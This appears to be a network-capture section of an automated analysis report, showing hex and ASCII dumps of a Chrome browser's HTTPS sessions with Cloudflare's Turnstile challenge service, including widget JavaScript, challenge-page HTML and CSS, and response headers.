2024-04-24 22:49:27 UTC	1369	IN	Data Raw: 6b 65 28 73 29 2c 22 63 6f 64 65 22 2c 76 6f 69 64 20 30 29 2c 73 2e 6e 61 6d 65 3d 22 54 75 72 6e 73 74 69 6c 65 45 72 72 6f 72 22 2c 73 2e 63 6f 64 65 3d 75 2c 73 7d 72 65 74 75 72 6e 20 74 7d 28 4c 65 28 45 72 72 6f 72 29 29 3b 66 75 6e 63 74 69 6f 6e 20 76 28 65 2c 72 29 7b 76 61 72 20 74 3d 22 5b 43 6c 6f 75 64 66 6c 61 72 65 20 54 75 72 6e 73 74 69 6c 65 5d 20 22 2e 63 6f 6e 63 61 74 28 65 2c 22 2e 22 29 3b 74 68 72 6f 77 20 6e 65 77 20 59 74 28 74 2c 72 29 7d 66 75 6e 63 74 69 6f 6e 20 5f 28 65 29 7b 63 6f 6e 73 6f 6c 65 2e 77 61 72 6e 28 22 5b 43 6c 6f 75 64 66 6c 61 72 65 20 54 75 72 6e 73 74 69 6c 65 5d 20 22 2e 63 6f 6e 63 61 74 28 65 2c 22 2e 22 29 29 7d 66 75 6e 63 74 69 6f 6e 20 62 65 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 73 74 61 72 74 73 Data Ascii: ke(s),"code",void 0),s.name="TurnstileError",s.code=u,s}return t}(Le(Error));function v(e,r){var t="[Cloudflare Turnstile] ".concat(e,".");throw new Yt(t,r)}function _(e){console.warn("[Cloudflare Turnstile] ".concat(e,"."))}function be(e){return e.starts
2024-04-24 22:49:27 UTC	1369	IN	Data Raw: 2e 63 6f 6e 63 61 74 28 53 29 29 3b 69 66 28 21 55 29 7b 64 2e 77 61 74 63 68 63 61 74 2e 6d 69 73 73 69 6e 67 57 69 64 67 65 74 57 61 72 6e 69 6e 67 7c 7c 28 5f 28 22 43 61 6e 6e 6f 74 20 66 69 6e 64 20 57 69 64 67 65 74 20 22 2e 63 6f 6e 63 61 74 28 53 2c 22 2c 20 63 6f 6e 73 69 64 65 72 20 75 73 69 6e 67 20 74 75 72 6e 73 74 69 6c 65 2e 72 65 6d 6f 76 65 28 29 20 74 6f 20 63 6c 65 61 6e 20 75 70 20 61 20 77 69 64 67 65 74 2e 22 29 29 2c 64 2e 77 61 74 63 68 63 61 74 2e 6d 69 73 73 69 6e 67 57 69 64 67 65 74 57 61 72 6e 69 6e 67 3d 21 30 29 3b 63 6f 6e 74 69 6e 75 65 7d 69 66 28 28 64 2e 69 73 45 78 65 63 75 74 69 6e 67 7c 7c 21 64 2e 69 73 49 6e 69 74 69 61 6c 69 7a 65 64 7c 7c 64 2e 69 73 49 6e 69 74 69 61 6c 69 7a 65 64 26 26 21 64 2e 69 73 53 74 61 Data Ascii: .concat(S));if(!U){d.watchcat.missingWidgetWarning\|\|(_("Cannot find Widget ".concat(S,", consider using turnstile.remove() to clean up a widget.")),d.watchcat.missingWidgetWarning=!0);continue}if((d.isExecuting\|\|!d.isInitialized\|\|d.isInitialized&&!d.isSta
2024-04-24 22:49:27 UTC	1369	IN	Data Raw: 65 79 4f 76 65 72 72 69 64 65 73 2e 6f 66 66 6c 61 62 65 6c 29 2c 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 2e 63 6c 65 61 72 61 6e 63 65 5f 6c 65 76 65 6c 21 3d 3d 22 64 65 66 61 75 6c 74 22 26 26 72 2e 73 65 74 28 22 63 6c 65 61 72 61 6e 63 65 5f 6c 65 76 65 6c 22 2c 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 2e 63 6c 65 61 72 61 6e 63 65 5f 6c 65 76 65 6c 29 29 2c 72 2e 73 69 7a 65 21 3d 3d 30 29 72 65 74 75 72 6e 20 72 2e 74 6f 53 74 72 69 6e 67 28 29 7d 66 75 6e 63 74 69 6f 6e 20 73 74 28 65 2c 72 29 7b 76 61 72 20 74 3d 22 68 74 74 70 73 3a 2f 2f 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 22 3b 69 66 28 72 29 7b 76 61 Data Ascii: eyOverrides.offlabel),e.params._debugSitekeyOverrides.clearance_level!=="default"&&r.set("clearance_level",e.params._debugSitekeyOverrides.clearance_level)),r.size!==0)return r.toString()}function st(e,r){var t="https://challenges.cloudflare.com";if(r){va
2024-04-24 22:49:27 UTC	1369	IN	Data Raw: 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3e 31 26 26 61 72 67 75 6d 65 6e 74 73 5b 31 5d 21 3d 3d 76 6f 69 64 20 30 3f 61 72 67 75 6d 65 6e 74 73 5b 31 5d 3a 33 3b 72 65 74 75 72 6e 20 65 2e 6c 65 6e 67 74 68 3e 72 3f 65 2e 73 75 62 73 74 72 69 6e 67 28 30 2c 72 29 3a 65 7d 3b 66 75 6e 63 74 69 6f 6e 20 4a 74 28 65 29 7b 76 61 72 20 72 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 6f 29 7b 69 66 28 21 74 7c 7c 74 2e 74 61 67 4e 61 6d 65 3d 3d 3d 22 42 4f 44 59 22 29 72 65 74 75 72 6e 20 6f 3b 66 6f 72 28 76 61 72 20 75 3d 31 2c 73 3d 74 2e 70 72 65 76 69 6f 75 73 45 6c 65 6d 65 6e 74 53 69 62 6c 69 6e 67 3b 73 3b 29 73 2e 74 61 67 4e 61 6d 65 3d 3d 3d 74 2e 74 61 67 4e 61 6d 65 26 26 75 2b 2b 2c 73 3d 73 2e 70 72 65 76 69 6f 75 73 45 6c 65 6d 65 6e 74 53 69 62 6c 69 6e Data Ascii: ments.length>1&&arguments[1]!==void 0?arguments[1]:3;return e.length>r?e.substring(0,r):e};function Jt(e){var r=function(t,o){if(!t\|\|t.tagName==="BODY")return o;for(var u=1,s=t.previousElementSibling;s;)s.tagName===t.tagName&&u++,s=s.previousElementSiblin

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.16	49718	104.17.3.184	443	6248	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 22:49:27 UTC	792	OUT	GET /cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/7m7v1/0x4AAAAAAAWuxZbeQelI4Wvo/auto/normal HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://gututa.ureilect.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 22:49:27 UTC	1343	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 22:49:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close critical-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA accept-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA cross-origin-resource-policy: cross-origin content-security-policy: frame-src https://challenges.cloudflare.com/ blob:; base-uri 'self' document-policy: js-profiling origin-agent-cluster: ?1 cross-origin-embedder-policy: require-corp permissions-policy: accelerometer=(),autoplay=(),browsing-topics=(),camera=(),clipboard-read=(),clipboard-write=(),geolocation=(),gyroscope=(),hid=(),interest-cohort=(),magnetometer=(),microphone=(),payment=(),publickey-credentials-get=(),screen-wake-lock=(),serial=(),sync-xhr=(),usb=() cross-origin-opener-policy: same-origin cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0
2024-04-24 22:49:27 UTC	135	IN	Data Raw: 72 65 66 65 72 72 65 72 2d 70 6f 6c 69 63 79 3a 20 73 61 6d 65 2d 6f 72 69 67 69 6e 0d 0a 76 61 72 79 3a 20 61 63 63 65 70 74 2d 65 6e 63 6f 64 69 6e 67 0d 0a 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 37 39 39 61 35 38 62 64 65 32 31 31 33 35 31 2d 41 54 4c 0d 0a 61 6c 74 2d 73 76 63 3a 20 68 33 3d 22 3a 34 34 33 22 3b 20 6d 61 3d 38 36 34 30 30 0d 0a 0d 0a Data Ascii: referrer-policy: same-originvary: accept-encodingServer: cloudflareCF-RAY: 8799a58bde211351-ATLalt-svc: h3=":443"; ma=86400
2024-04-24 22:49:27 UTC	1369	IN	Data Raw: 31 66 64 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c Data Ascii: 1fd9<!DOCTYPE HTML><html lang="en-US"><head> <meta http-equiv="X-UA-Compatible" content="IE=Edge,chrome=1"> <meta name="robots" content="noindex, nofollow" /> <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scal
2024-04-24 22:49:27 UTC	1369	IN	Data Raw: 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 0a 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 20 20 68 65 69 67 68 74 3a 20 31 30 30 25 3b 0a 20 20 6f 76 65 72 66 6c 6f 77 3a 20 68 69 64 64 65 6e 3b 0a 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 37 70 78 3b 0a 20 20 63 6f 6c 6f 72 3a 20 23 31 64 31 66 32 30 3b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 2d 61 70 70 6c 65 2d 73 79 73 74 65 6d 2c 20 73 79 73 74 65 6d 2d 75 69 2c 20 62 6c 69 6e 6b 6d 61 63 73 79 73 74 65 6d 66 6f 6e 74 2c 20 22 53 65 67 6f 65 20 55 49 22 2c 20 72 6f 62 6f 74 6f 2c 20 6f 78 79 67 65 6e 2c 20 75 62 75 6e 74 75 2c 20 22 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 22 2c 20 61 72 69 61 6c 2c 20 73 61 6e 73 2d 73 65 72 Data Ascii: kground-color: #fff; padding: 0; width: 100%; height: 100%; overflow: hidden; line-height: 17px; color: #1d1f20; font-family: -apple-system, system-ui, blinkmacsystemfont, "Segoe UI", roboto, oxygen, ubuntu, "Helvetica Neue", arial, sans-ser
2024-04-24 22:49:27 UTC	1369	IN	Data Raw: 70 78 3b 0a 20 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 35 30 25 3b 0a 20 20 62 6f 78 2d 73 68 61 64 6f 77 3a 20 69 6e 73 65 74 20 30 20 30 20 30 20 23 30 33 38 31 32 37 3b 0a 20 20 77 69 64 74 68 3a 20 33 30 70 78 3b 0a 20 20 68 65 69 67 68 74 3a 20 33 30 70 78 3b 0a 20 20 61 6e 69 6d 61 74 69 6f 6e 3a 20 73 63 61 6c 65 2d 75 70 2d 63 65 6e 74 65 72 20 30 2e 36 73 20 63 75 62 69 63 2d 62 65 7a 69 65 72 28 30 2e 35 35 2c 20 30 2e 30 38 35 2c 20 30 2e 36 38 2c 20 30 2e 35 33 29 20 62 6f 74 68 3b 0a 20 20 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 20 36 70 78 3b 0a 20 20 73 74 72 6f 6b 65 3a 20 23 66 38 66 38 66 38 3b 0a 20 20 73 74 72 6f 6b 65 2d 6d 69 74 65 72 6c 69 6d 69 74 3a 20 31 30 3b 0a 7d 0a 23 73 75 63 63 65 73 73 2d 69 63 6f 6e 20 2e 70 31 20 Data Ascii: px; border-radius: 50%; box-shadow: inset 0 0 0 #038127; width: 30px; height: 30px; animation: scale-up-center 0.6s cubic-bezier(0.55, 0.085, 0.68, 0.53) both; stroke-width: 6px; stroke: #f8f8f8; stroke-miterlimit: 10;}#success-icon .p1
2024-04-24 22:49:27 UTC	1369	IN	Data Raw: 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 61 63 74 69 76 65 2c 0a 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 66 6f 63 75 73 20 7b 0a 20 20 63 6f 6c 6f 72 3a 20 23 39 34 39 34 39 34 3b 0a 7d 0a 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 63 74 70 2d 63 68 65 63 6b 62 6f 78 2d 6c 61 62 65 6c 20 2e 6d 61 72 6b 20 7b 0a 20 20 62 6f 72 64 65 72 3a 20 32 70 78 20 73 6f 6c 69 64 20 23 64 61 64 61 64 61 3b 0a 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 32 32 32 3b 0a 7d 0a 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 63 74 70 2d 63 68 65 63 6b 62 6f 78 2d 6c 61 62 65 6c 20 69 6e 70 75 74 3a 66 6f 63 75 73 20 7e 20 2e 6d 61 72 6b 2c 20 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 63 Data Ascii: lenge-error-text a:active,.theme-dark #challenge-error-text a:focus { color: #949494;}.theme-dark .ctp-checkbox-label .mark { border: 2px solid #dadada; background-color: #222;}.theme-dark .ctp-checkbox-label input:focus ~ .mark, .theme-dark .c
2024-04-24 22:49:27 UTC	1369	IN	Data Raw: 72 64 65 72 2d 63 6f 6c 6f 72 3a 20 23 36 36 36 3b 0a 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 32 32 32 3b 0a 7d 0a 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 71 72 20 7b 0a 20 20 66 69 6c 6c 3a 20 72 67 62 28 32 34 33 2c 20 31 32 38 2c 20 33 32 29 3b 0a 7d 0a 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 6c 6f 67 6f 2d 74 65 78 74 20 7b 0a 20 20 66 69 6c 6c 3a 20 23 66 66 66 3b 0a 7d 0a 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 69 6e 6b 2c 0a 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 20 7b 0a 20 20 63 6f 6c 6f 72 3a 20 23 62 62 62 3b 0a 7d 0a 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 69 6e 6b 3a 76 69 73 69 74 65 64 2c 20 2e 74 68 Data Ascii: rder-color: #666; background-color: #222;}.theme-dark #qr { fill: rgb(243, 128, 32);}.theme-dark .logo-text { fill: #fff;}.theme-dark #fr-helper-link,.theme-dark #fr-helper-loop-link { color: #bbb;}.theme-dark #fr-helper-link:visited, .th
2024-04-24 22:49:27 UTC	1316	IN	Data Raw: 72 3a 20 23 66 61 66 61 66 61 3b 0a 7d 0a 0a 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 2c 0a 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 7b 0a 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 30 70 78 3b 0a 20 20 63 6f 6c 6f 72 3a 20 23 64 65 31 33 30 33 3b 0a 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 39 70 78 3b 0a 7d 0a 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 2c 0a 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 20 7b 0a 20 20 63 6f 6c 6f 72 3a 20 23 31 64 31 66 32 30 3b 0a 7d 0a 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 3a 76 69 73 69 74 65 64 2c 20 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 Data Ascii: r: #fafafa;}#challenge-overlay,#challenge-error-text { text-align: center; line-height: 10px; color: #de1303; font-size: 9px;}#challenge-overlay a,#challenge-error-text a { color: #1d1f20;}#challenge-overlay a:visited, #challenge-overla
2024-04-24 22:49:27 UTC	1369	IN	Data Raw: 66 37 66 0d 0a 34 70 78 3b 0a 20 20 68 65 69 67 68 74 3a 20 32 34 70 78 3b 0a 7d 0a 2e 63 74 70 2d 63 68 65 63 6b 62 6f 78 2d 6c 61 62 65 6c 20 69 6e 70 75 74 3a 61 63 74 69 76 65 20 7e 20 2e 6d 61 72 6b 20 7b 0a 20 20 62 6f 72 64 65 72 3a 20 32 70 78 20 73 6f 6c 69 64 20 23 63 34 34 64 30 65 3b 0a 7d 0a 2e 63 74 70 2d 63 68 65 63 6b 62 6f 78 2d 6c 61 62 65 6c 20 69 6e 70 75 74 3a 61 63 74 69 76 65 20 7e 20 73 70 61 6e 2e 63 74 70 2d 6c 61 62 65 6c 20 7b 0a 20 20 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 75 6e 64 65 72 6c 69 6e 65 3b 0a 7d 0a 2e 63 74 70 2d 63 68 65 63 6b 62 6f 78 2d 6c 61 62 65 6c 20 69 6e 70 75 74 3a 66 6f 63 75 73 20 7e 20 2e 6d 61 72 6b 20 7b 0a 20 20 62 6f 72 64 65 72 3a 20 32 70 78 20 73 6f 6c 69 64 20 23 63 34 34 64 30 65 Data Ascii: f7f4px; height: 24px;}.ctp-checkbox-label input:active ~ .mark { border: 2px solid #c44d0e;}.ctp-checkbox-label input:active ~ span.ctp-label { text-decoration: underline;}.ctp-checkbox-label input:focus ~ .mark { border: 2px solid #c44d0e
2024-04-24 22:49:27 UTC	1369	IN	Data Raw: 6c 69 67 6e 2d 69 74 65 6d 73 3a 20 63 65 6e 74 65 72 3b 0a 20 20 68 65 69 67 68 74 3a 20 31 31 38 70 78 3b 0a 7d 0a 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 6c 69 6e 6b 2d 73 70 61 63 65 72 20 7b 0a 20 20 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 33 70 78 3b 0a 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 33 70 78 3b 0a 7d 0a 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 63 74 70 2d 63 68 65 63 6b 62 6f 78 2d 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 6c 65 66 74 3b 0a 7d 0a 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 6c 6f 67 6f 20 7b 0a 20 20 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 35 70 78 3b 0a 20 20 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 30 3b 0a 20 20 68 65 69 67 68 74 3a 20 32 32 70 78 3b 0a 7d 0a 2e 73 69 Data Ascii: lign-items: center; height: 118px;}.size-compact .link-spacer { margin-right: 3px; margin-left: 3px;}.size-compact .ctp-checkbox-container { text-align: left;}.size-compact #logo { margin-top: 5px; margin-bottom: 0; height: 22px;}.si
2024-04-24 22:49:27 UTC	1236	IN	Data Raw: 61 69 6c 2d 69 63 6f 6e 20 7b 0a 20 20 6c 65 66 74 3a 20 32 35 35 70 78 3b 0a 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 38 70 78 3b 0a 7d 0a 2e 72 74 6c 20 23 73 70 69 6e 6e 65 72 2d 69 63 6f 6e 20 7b 0a 20 20 6c 65 66 74 3a 20 32 35 35 70 78 3b 0a 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 38 70 78 3b 0a 7d 0a 2e 72 74 6c 20 23 74 69 6d 65 6f 75 74 2d 69 63 6f 6e 2c 0a 2e 72 74 6c 20 23 65 78 70 69 72 65 64 2d 69 63 6f 6e 20 7b 0a 20 20 6c 65 66 74 3a 20 32 35 35 70 78 3b 0a 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 38 70 78 3b 0a 7d 0a 2e 72 74 6c 20 23 62 72 61 6e 64 69 6e 67 20 7b 0a 20 20 6d 61 72 67 69 6e 3a 20 30 20 30 20 30 20 31 36 70 78 3b 0a 20 20 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 20 30 3b 0a 20 20 70 61 64 64 69 6e 67 2d 6c 65 Data Ascii: ail-icon { left: 255px; margin-left: 8px;}.rtl #spinner-icon { left: 255px; margin-left: 8px;}.rtl #timeout-icon,.rtl #expired-icon { left: 255px; margin-left: 8px;}.rtl #branding { margin: 0 0 0 16px; padding-right: 0; padding-le

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.16	49720	104.17.3.184	443	6248	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 22:49:27 UTC	710	OUT	GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=8799a58bde211351 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/7m7v1/0x4AAAAAAAWuxZbeQelI4Wvo/auto/normal Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 22:49:28 UTC	358	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 22:49:28 GMT Content-Type: application/javascript; charset=UTF-8 Transfer-Encoding: chunked Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 vary: accept-encoding Server: cloudflare CF-RAY: 8799a58f2c8b69ec-ATL alt-svc: h3=":443"; ma=86400
2024-04-24 22:49:28 UTC	555	IN	Data Raw: 32 32 34 0d 0a 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 75 61 4f 3d 66 61 6c 73 65 3b 7e 66 75 6e 63 74 69 6f 6e 28 69 78 2c 66 45 2c 66 46 2c 66 4d 2c 66 53 2c 66 54 2c 67 70 2c 67 72 2c 67 73 2c 67 74 2c 67 75 2c 67 76 2c 67 77 2c 67 78 2c 67 79 2c 67 7a 2c 67 41 2c 67 42 2c 67 43 2c 67 44 2c 67 45 2c 67 46 2c 67 47 2c 67 48 2c 67 49 2c 67 4a 2c 67 4b 2c 67 4c 2c 67 4d 2c 67 4e 2c 67 4f 2c 67 50 2c 67 51 2c 67 52 2c 67 53 2c 67 54 2c 67 55 2c 67 56 2c 67 57 2c 67 58 2c 67 59 2c 67 5a 2c 68 30 2c 68 31 2c 68 32 2c 68 33 2c 68 34 2c 68 35 2c 68 36 2c 68 37 2c 68 38 2c 68 39 2c 68 61 2c 68 62 2c 68 63 2c 68 64 2c 68 65 2c 68 66 2c 68 67 2c 68 68 2c 68 69 2c 68 6a 2c 68 6b 2c 68 6c 2c 68 6e 2c 68 7a 2c 68 4d 2c 68 52 2c 68 53 2c 68 54 2c 69 Data Ascii: 224window._cf_chl_opt.uaO=false;~function(ix,fE,fF,fM,fS,fT,gp,gr,gs,gt,gu,gv,gw,gx,gy,gz,gA,gB,gC,gD,gE,gF,gG,gH,gI,gJ,gK,gL,gM,gN,gO,gP,gQ,gR,gS,gT,gU,gV,gW,gX,gY,gZ,h0,h1,h2,h3,h4,h5,h6,h7,h8,h9,ha,hb,hc,hd,he,hf,hg,hh,hi,hj,hk,hl,hn,hz,hM,hR,hS,hT,i
2024-04-24 22:49:28 UTC	1369	IN	Data Raw: 31 37 65 66 0d 0a 3b 65 6c 73 65 20 65 2e 70 75 73 68 28 65 2e 73 68 69 66 74 28 29 29 7d 63 61 74 63 68 28 67 29 7b 65 2e 70 75 73 68 28 65 2e 73 68 69 66 74 28 29 29 7d 7d 28 61 2c 32 32 33 37 37 30 29 2c 66 45 3d 74 68 69 73 7c 7c 73 65 6c 66 2c 66 46 3d 66 45 5b 69 78 28 32 36 31 37 29 5d 2c 66 45 5b 69 78 28 31 34 37 30 29 5d 3d 21 5b 5d 2c 66 45 5b 69 78 28 31 39 36 38 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 69 50 29 7b 69 66 28 69 50 3d 69 78 2c 66 45 5b 69 50 28 31 34 37 30 29 5d 29 72 65 74 75 72 6e 3b 66 45 5b 69 50 28 31 34 37 30 29 5d 3d 21 21 5b 5d 7d 2c 66 4d 3d 30 2c 66 50 28 29 2c 66 51 3d 5b 5d 2c 66 52 3d 30 3b 32 35 36 3e 66 52 3b 66 51 5b 66 52 5d 3d 53 74 72 69 6e 67 5b 69 78 28 37 30 36 29 5d 28 66 52 29 2c 66 52 2b 2b 29 3b 66 53 3d 28 Data Ascii: 17ef;else e.push(e.shift())}catch(g){e.push(e.shift())}}(a,223770),fE=this\|\|self,fF=fE[ix(2617)],fE[ix(1470)]=![],fE[ix(1968)]=function(iP){if(iP=ix,fE[iP(1470)])return;fE[iP(1470)]=!![]},fM=0,fP(),fQ=[],fR=0;256>fR;fQ[fR]=String[ix(706)](fR),fR++);fS=(
2024-04-24 22:49:28 UTC	1369	IN	Data Raw: 2c 66 45 5b 6a 52 28 32 33 39 36 29 5d 5b 6a 52 28 39 34 30 29 5d 29 2c 6e 3d 6e 65 77 20 66 45 5b 28 6a 52 28 36 36 36 29 29 5d 28 29 2c 21 6e 29 72 65 74 75 72 6e 3b 6f 3d 6a 5b 6a 52 28 34 36 30 29 5d 2c 6e 5b 6a 52 28 32 32 35 34 29 5d 28 6f 2c 6d 2c 21 21 5b 5d 29 2c 6e 5b 6a 52 28 32 33 33 36 29 5d 3d 32 35 30 30 2c 6e 5b 6a 52 28 38 39 38 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 2c 6e 5b 6a 52 28 39 38 37 29 5d 28 6a 52 28 34 36 33 29 2c 6a 52 28 31 39 30 37 29 29 2c 73 3d 7b 7d 2c 73 5b 6a 52 28 32 37 34 38 29 5d 3d 66 2c 73 2e 63 63 3d 67 2c 73 5b 6a 52 28 35 30 34 29 5d 3d 6b 2c 78 3d 4a 53 4f 4e 5b 6a 52 28 31 37 37 39 29 5d 28 73 29 2c 42 3d 69 6d 5b 6a 52 28 34 32 30 29 5d 28 78 29 5b 6a 52 28 34 39 31 29 5d 28 27 2b 27 2c 6a 52 28 32 34 Data Ascii: ,fE[jR(2396)][jR(940)]),n=new fE[(jR(666))](),!n)return;o=j[jR(460)],n[jR(2254)](o,m,!![]),n[jR(2336)]=2500,n[jR(898)]=function(){},n[jR(987)](jR(463),jR(1907)),s={},s[jR(2748)]=f,s.cc=g,s[jR(504)]=k,x=JSON[jR(1779)](s),B=im[jR(420)](x)[jR(491)]('+',jR(24
